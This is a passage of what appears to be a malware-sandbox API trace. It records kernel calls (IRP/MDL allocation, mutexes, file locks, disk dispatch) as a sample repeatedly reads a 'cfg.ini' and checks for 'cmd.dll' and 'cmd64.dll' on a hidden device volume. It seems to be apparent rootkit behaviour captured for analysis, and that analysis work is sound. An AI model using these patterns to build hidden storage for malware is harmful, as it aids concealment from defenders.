Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.835] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.835] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0130.835] IdePortDispatch () returned 0x103 [0130.835] KeWaitForMutexObject () returned 0x0 [0130.835] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.835] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.835] KeLeaveCriticalRegion () [0130.835] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.835] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.835] KeEnterCriticalRegion () [0130.835] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.835] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c5000 [0130.835] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.835] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.835] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.835] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.836] IdePortDispatch () returned 0x103 [0130.836] KeWaitForMutexObject () returned 0x0 [0130.836] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.836] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.836] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.836] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.836] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.836] IdePortDispatch () returned 0x103 [0130.836] KeWaitForMutexObject () returned 0x0 [0130.836] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.836] KeLeaveCriticalRegion () [0130.836] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.837] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.837] KeEnterCriticalRegion () [0130.837] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.837] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.837] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.837] KeLeaveCriticalRegion () [0130.837] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.837] KeEnterCriticalRegion () [0130.837] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.837] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.837] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294f070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.837] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.837] KeLeaveCriticalRegion () [0130.837] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.837] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.837] KeEnterCriticalRegion () [0130.837] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.837] ExFreePoolWithTag (P=0xfffffa800294ff60, Tag=0x0) [0130.837] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.837] KeLeaveCriticalRegion () [0130.837] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.838] ReleaseMutex (hMutex=0xf0) returned 1 [0130.838] Sleep (dwMilliseconds=0x927c0) Thread: id = 198 os_tid = 0x3a8 [0081.900] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\mmcss.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0081.902] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\avrt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 199 os_tid = 0x3ac [0081.897] Sleep (dwMilliseconds=0x493e0) [0093.279] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0093.286] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0093.286] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.286] KeEnterCriticalRegion () [0093.286] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.286] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.286] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.286] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.286] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0093.286] IdePortDispatch () returned 0x103 [0093.286] KeWaitForMutexObject () returned 0x0 [0093.286] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0093.286] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0093.286] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0093.286] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0093.286] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0093.286] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80028ab070 [0093.286] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.286] KeLeaveCriticalRegion () [0093.286] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0093.286] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.286] KeEnterCriticalRegion () [0093.286] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.286] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003828ee0, Context=0x0) returned 0x0 [0093.286] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.287] KeLeaveCriticalRegion () [0093.287] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.287] KeEnterCriticalRegion () [0093.287] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.287] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.287] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.287] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.287] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0093.287] IdePortDispatch () returned 0x103 [0093.287] KeWaitForMutexObject () returned 0x0 [0093.287] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0093.287] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.287] KeLeaveCriticalRegion () [0093.287] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0093.287] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.287] KeEnterCriticalRegion () [0093.287] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.287] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003486000 [0093.287] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.287] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003607090 [0093.287] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003607090, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003607090) [0093.287] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0093.287] IdePortDispatch () returned 0x103 [0093.287] KeWaitForMutexObject () returned 0x0 [0093.287] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0093.287] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.287] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003607090 [0093.287] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003607090, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003607090) [0093.287] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0093.287] IdePortDispatch () returned 0x103 [0093.288] KeWaitForMutexObject () returned 0x0 [0093.288] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.288] KeLeaveCriticalRegion () [0093.288] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0093.288] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.288] KeEnterCriticalRegion () [0093.288] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.288] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003828ee0, Context=0x0) returned 0x0 [0093.288] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.288] KeLeaveCriticalRegion () [0093.288] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.288] KeEnterCriticalRegion () [0093.288] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.288] IoGetRequestorProcess (Irp=0xfffffa8003828ee0) returned 0xfffffa80034fca60 [0093.288] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003894070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0093.288] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.288] KeLeaveCriticalRegion () [0093.288] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0093.288] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.288] KeEnterCriticalRegion () [0093.288] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.288] ExFreePoolWithTag (P=0xfffffa80028ab070, Tag=0x0) [0093.288] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.288] KeLeaveCriticalRegion () [0093.288] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0093.288] ReleaseMutex (hMutex=0xf0) returned 1 [0093.289] Sleep (dwMilliseconds=0x124f80) [0105.679] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0105.679] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0105.679] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0105.679] KeEnterCriticalRegion () [0105.679] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.679] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003a9d640 [0105.679] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003a9d640 | out: Irp=0xfffffa8003a9d640) returned 0xfffffa80038bc390 [0105.679] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038bc390, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038bc390) [0105.680] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0105.680] IdePortDispatch () returned 0x103 [0105.680] KeWaitForMutexObject () returned 0x0 [0105.680] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0105.680] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0105.680] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0105.680] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0105.680] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0105.680] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac5ba0 [0105.680] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.680] KeLeaveCriticalRegion () [0105.680] IofCompleteRequest (Irp=0xfffffa8003ad9c80, PriorityBoost=0) [0105.680] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0105.680] KeEnterCriticalRegion () [0105.680] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.680] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003ad9c80, Context=0x0) returned 0x0 [0105.680] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.680] KeLeaveCriticalRegion () [0105.680] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0105.680] KeEnterCriticalRegion () [0105.680] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.681] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003a9d640 [0105.681] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003a9d640 | out: Irp=0xfffffa8003a9d640) returned 0xfffffa80038bc390 [0105.681] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038bc390, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038bc390) [0105.681] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0105.681] IdePortDispatch () returned 0x103 [0105.681] KeWaitForMutexObject () returned 0x0 [0105.681] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0105.681] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.681] KeLeaveCriticalRegion () [0105.681] IofCompleteRequest (Irp=0xfffffa8003ad9c80, PriorityBoost=0) [0105.681] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0105.681] KeEnterCriticalRegion () [0105.681] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.681] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038bc390, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c47000 [0105.681] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003a9d640 [0105.681] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003a9d640 | out: Irp=0xfffffa8003a9d640) returned 0xfffffa80038a5010 [0105.681] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0105.681] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0105.681] IdePortDispatch () returned 0x103 [0105.682] KeWaitForMutexObject () returned 0x0 [0105.682] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0105.682] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003a9d640 [0105.682] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003a9d640 | out: Irp=0xfffffa8003a9d640) returned 0xfffffa80038a5010 [0105.682] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0105.682] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0105.682] IdePortDispatch () returned 0x103 [0105.682] KeWaitForMutexObject () returned 0x0 [0105.682] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.682] KeLeaveCriticalRegion () [0105.682] IofCompleteRequest (Irp=0xfffffa8003ad9c80, PriorityBoost=0) [0105.683] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0105.683] KeEnterCriticalRegion () [0105.683] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.683] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003ad9c80, Context=0x0) returned 0x0 [0105.683] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.683] KeLeaveCriticalRegion () [0105.683] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0105.683] KeEnterCriticalRegion () [0105.683] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.683] IoGetRequestorProcess (Irp=0xfffffa8003ad9c80) returned 0xfffffa80034fca60 [0105.683] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ae0630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0105.683] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.683] KeLeaveCriticalRegion () [0105.683] IofCompleteRequest (Irp=0xfffffa8003ad9c80, PriorityBoost=0) [0105.683] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0105.683] KeEnterCriticalRegion () [0105.683] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.683] ExFreePoolWithTag (P=0xfffffa8003ac5ba0, Tag=0x0) [0105.683] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.683] KeLeaveCriticalRegion () [0105.683] IofCompleteRequest (Irp=0xfffffa8003ad9c80, PriorityBoost=0) [0105.684] ReleaseMutex (hMutex=0xf0) returned 1 [0105.684] Sleep (dwMilliseconds=0x124f80) [0116.683] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0116.683] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0116.683] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.683] KeEnterCriticalRegion () [0116.683] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.683] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.683] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.683] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.683] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0116.683] IdePortDispatch () returned 0x103 [0116.683] KeWaitForMutexObject () returned 0x0 [0116.683] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.683] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.683] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.683] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0116.683] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0116.683] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d7600 [0116.683] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.683] KeLeaveCriticalRegion () [0116.683] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.684] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.684] KeEnterCriticalRegion () [0116.684] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.684] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.684] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.684] KeLeaveCriticalRegion () [0116.684] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.684] KeEnterCriticalRegion () [0116.684] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.684] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.684] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.684] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.684] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0116.684] IdePortDispatch () returned 0x103 [0116.684] KeWaitForMutexObject () returned 0x0 [0116.684] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.684] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.684] KeLeaveCriticalRegion () [0116.684] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.684] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.684] KeEnterCriticalRegion () [0116.684] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.684] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003516000 [0116.684] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.684] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.684] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.684] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0116.684] IdePortDispatch () returned 0x103 [0116.685] KeWaitForMutexObject () returned 0x0 [0116.685] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.685] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.685] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.685] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) 